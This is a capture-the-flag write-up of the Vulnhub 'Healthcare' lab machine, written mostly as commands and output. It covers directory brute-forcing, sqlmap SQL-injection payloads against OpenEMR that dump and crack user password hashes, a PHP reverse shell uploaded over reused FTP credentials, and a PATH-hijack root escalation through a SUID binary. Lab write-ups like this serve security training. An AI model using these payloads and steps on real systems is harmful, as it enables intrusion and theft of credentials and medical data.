Home Healthcare Vulnhub Writeup
Post
Cancel

Healthcare Vulnhub Writeup

Healthcare is an OSCP-like box. It starts with finding hidden dir openemr. Using SQL injection vulnerability in the web application I dump the database credentials. I can log in to FTP because the user re-used the same credentials. I land a shell by uploading a shell to the server using FTP. Priv esc to root by exploiting a path hijack vulnerability in a SUID binary.

Summary

  • Portscan
  • Finding the hidden dir openemr
  • Using sqlmap to dump creds
  • Uploading Shell via FTP
  • Initial Shell
  • Checking SUID
  • Privesc by hijacking the PATH of a SUID binary

Portscan

1
2
3
4
5
6
7
8
9
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3d
80/tcp open  http    Apache httpd 2.2.17 ((PCLinuxOS 2011/PREFORK-1pclos2011))
| http-robots.txt: 8 disallowed entries 
| /manual/ /manual-2.2/ /addon-modules/ /doc/ /images/ 
|_/all_our_e-mail_addresses /admin/ /
|_http-server-header: Apache/2.2.17 (PCLinuxOS 2011/PREFORK-1pclos2011)
|_http-title: Coming Soon 2
Service Info: OS: Unix

Gobuster

Gobuster with the wordlist dirbuster-medium.txt gives me nothing interesting But on changing the Wordlist to directory-list-2.3-big.txt Got a Dir Called /openemr. Thanks to the creator (v1n1v131r4) of the machine who helped me with this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$gobuster dir -w ~/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://192.168.1.9  
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.1.9
[+] Threads:        10
[+] Wordlist:       /home/hitesh/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/09/06 20:24:10 Starting gobuster
===============================================================
/index (Status: 200)
/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/vendor (Status: 301)
/favicon (Status: 200)
/robots (Status: 200)
/fonts (Status: 301)
/gitweb (Status: 301)
/phpMyAdmin (Status: 403)
/server-status (Status: 403)
/server-info (Status: 403)
/openemr (Status: 301)

Openemr

openemr As we can see above, when we opened the openemr directory on the browser, it redirected us to a login page where we have to enter the username and password. Since we don’t know any usernames or passwords yet, I tried some default username and password combinations on that login screen, but that didn’t work.

Sql Injection

I started analyzing the website for vulnerabilities. I intercept the request in burp and found that it can be vulnerable to SQL injection (SQLi). This was done by adding a single quote(‘) in /openemr/interface/login/validateUser.php?u='. The website responded with an SQL error message, indicating that it might be vulnerable.

sqli

I use sqlmap to enumeration more.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
sqlmap -u http://192.168.1.9/openemr/interface/login/validateUser.php?u=admin -D openemr -T users --dump
       __H__
 ___ ___[,]_____ ___ ___  {1.4.8#stable}
|_ -| . [']     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:12:34 /2020-09-06/

[22:12:35] [INFO] resuming back-end DBMS 'mysql' 
[22:12:35] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('OpenEMR=63a369aae71...8c445a0dd6'). Do you want to use those [Y/n] 
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: u (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: u=admin' AND 4430=4430 AND 'Qdai'='Qdai

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: u=admin' AND (SELECT 1685 FROM(SELECT COUNT(*),CONCAT(0x71767a7071,(SELECT (ELT(1685=1685,1))),0x716b707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'mswE'='mswE

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: u=admin' AND (SELECT 7341 FROM (SELECT(SLEEP(5)))fEST) AND 'FSmY'='FSmY
---
[22:12:39] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[22:12:39] [INFO] fetching columns for table 'users' in database 'openemr'
[22:12:39] [INFO] fetching entries for table 'users' in database 'openemr'
[22:12:39] [INFO] resumed: ''
[22:12:39] [INFO] resumed: '1'
[22:12:39] [INFO] resumed: ' '
[22:12:39] [INFO] resumed: '1'
[22:12:39] [INFO] resumed: ' '
[22:12:39] [INFO] resumed: '3'
...
...
[22:12:39] [INFO] resumed: 'medical'
[22:12:39] [INFO] resumed: ' '
[22:12:39] [INFO] resumed: ' '
[22:12:39] [INFO] resumed: ' '
[22:12:39] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
do you want to crack them via a dictionary-based attack? [Y/n/q] 
[22:12:42] [INFO] using hash method 'sha1_generic_passwd'
[22:12:42] [INFO] resuming password 'ackbar' for hash '3863efef9ee2bfbc51ecdca359c6302bed1389e8' for user 'admin'
[22:12:42] [INFO] resuming password 'medical' for hash 'ab24aed5a7c4ad45615cd7e0da816eea39e4895d' for user 'medical'

I dump users table of database openemr and found 2 users with hashes.

1
2
admin   : ackbar
medical : medical

Upload Shell with FTP

Further, I login to FTP using medical creds.

1
2
3
4
5
6
7
8
9
10
$ftp 192.168.1.9
Connected to 192.168.1.9.
220 ProFTPD 1.3.3d Server (ProFTPD Default Installation) [192.168.1.9]
Name (192.168.1.9:hitesh): medical
331 Password required for medical
Password:
230 User medical logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

We have read-write permission to /var/www/html/openemr directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ftp> cd /var/www/html
250 CWD command successful
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x   2 root     root         4096 Oct 27  2011 addon-modules
drwxr-xr-x   2 root     root         4096 Jan  7  2018 css
-rw-r--r--   1 root     root         1406 Mar 19  2011 favicon.ico
drwxr-xr-x   5 root     root         4096 Jan  7  2018 fonts
drwxr-xr-x   3 root     root         4096 Jul 29 21:31 images
-rwxr-xr-x   1 root     root         5031 Jan  6  2018 index.html
drwxr-xr-x   2 root     root         4096 Jan  7  2018 js
drwxr-xr-x  21 medical  medical      4096 Sep  6 15:31 openemr
-rw-r--r--   1 root     root          620 Mar 19  2011 robots.txt
drwxr-xr-x   8 root     root         4096 Jan  7  2018 vendor
226 Transfer complete

So, let’s upload the reverse shell on box.

1
2
3
4
5
6
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful
150 Opening BINARY mode data connection for shell.php
226 Transfer complete
5493 bytes sent in 0.34 secs (15.7194 kB/s)

Reverse Shell

Access the reverse shell with url http://ip/openemr/shell.php and get the shell.

1
$ curl http://192.168.1.9/openemr/shell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.1.2] from (UNKNOWN) [192.168.1.9] 42953
Linux localhost.localdomain 2.6.38.8-pclos3.bfs #1 SMP PREEMPT Fri Jul 8 18:01:30 CDT 2011 i686 i686 i386 GNU/Linux
 10:01:29 up 19 min,  0 users,  load average: 1.00, 1.00, 0.74
USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
uid=479(apache) gid=416(apache) groups=416(apache)
sh: no job control in this shell
sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.1$ ^Z
[1]+  Stopped                 nc -nvlp 4444
┌─[✗]─[hitesh@parrot]─[~/boxes/vulnhub/healthcare]
└──╼ $stty raw -echo
┌─[hitesh@parrot]─[~/boxes/vulnhub/healthcare]
└──╼ $nc -nvlp 4444

bash-4.1$ export TERM=xterm

User Medical

We can use the password medical to su user medical.

1
2
3
4
5
bash-4.1$ su - medical
su - medical
Password: medical

[medical@localhost ~]$ 

Privesc to root

Looking at SUID files, /usr/bin/healthcheck stands out because it’s not a standard Linux binary.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
[medical@localhost ~]$ find / -perm -4000 2>/dev/null
/usr/libexec/pt_chown
/usr/lib/ssh/ssh-keysign
/usr/lib/polkit-resolve-exe-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/chromium-browser/chrome-sandbox
/usr/lib/polkit-grant-helper-pam
/usr/lib/polkit-set-default-helper
/usr/sbin/fileshareset
/usr/sbin/traceroute6
/usr/sbin/usernetctl
/usr/sbin/userhelper
/usr/bin/crontab
/usr/bin/at
/usr/bin/pumount
/usr/bin/batch
/usr/bin/expiry
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/wvdial
/usr/bin/pmount
/usr/bin/sperl5.10.1
/usr/bin/gpgsm
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/su
/usr/bin/passwd
/usr/bin/gpg
/usr/bin/healthcheck
/usr/bin/Xwrapper
/usr/bin/ping6
/usr/bin/chsh
/lib/dbus-1/dbus-daemon-launch-helper
/sbin/pam_timestamp_check
/bin/ping
/bin/fusermount
/bin/su
/bin/mount
/bin/umount

The program just seems to be running a bunch of standard linux programs like fdisk.

1
2
3
4
5
6
7
8
9
10
11
12
13
[medical@localhost ~]$ strings /usr/bin/healthcheck 
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
setuid
system
setgid
__libc_start_main
GLIBC_2.0
PTRhp
[^_]
clear ; echo 'System Health Check' ; echo '' ; echo 'Scanning System' ; sleep 2 ; ifconfig ; fdisk -l ; du -h

The program is vulnerable because we control the PATH and the program doesn’t use the absolute path to execute the programs so we can execute anything we want as root. To get root I’ll just create a script that sets the SUID bit on /bin/bash, name it fdisk and call /usr/bin/healthcheck after setting the path to my current directory so it doesn’t execute the real fdisk program but my own script.

1
2
3
4
5
6
7
8
9
10
11
12
[medical@localhost ~]$ echo "/bin/bash" > fdisk
[medical@localhost ~]$ chmod +x fdisk 
[medical@localhost ~]$ export PATH=/home/medical:$PATH
[medical@localhost ~]$ echo $PATH
/home/medical:/bin:/usr/bin:/usr/local/bin:/usr/bin/X11:/usr/games:/usr/lib/qt4/bin:/home/medical/bin
[medical@localhost ~]$ /usr/bin/healthcheck 

System Health Check

Scanning System
sh: ifconfig: command not found
[root@localhost ~]# 

Root Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[root@localhost root]# cat root.txt
██    ██  ██████  ██    ██     ████████ ██████  ██ ███████ ██████      ██   ██  █████  ██████  ██████  ███████ ██████  ██ 
 ██  ██  ██    ██ ██    ██        ██    ██   ██ ██ ██      ██   ██     ██   ██ ██   ██ ██   ██ ██   ██ ██      ██   ██ ██ 
  ████   ██    ██ ██    ██        ██    ██████  ██ █████   ██   ██     ███████ ███████ ██████  ██   ██ █████   ██████  ██ 
   ██    ██    ██ ██    ██        ██    ██   ██ ██ ██      ██   ██     ██   ██ ██   ██ ██   ██ ██   ██ ██      ██   ██    
   ██     ██████   ██████         ██    ██   ██ ██ ███████ ██████      ██   ██ ██   ██ ██   ██ ██████  ███████ ██   ██ ██ 
                                                                                                                          
                                                                                                                          
Thanks for Playing!

Follow me at: http://v1n1v131r4.com


root hash: eaff25eaa9ffc8b62e3dfebf70e83a7b
This post is licensed under CC BY 4.0 by the author.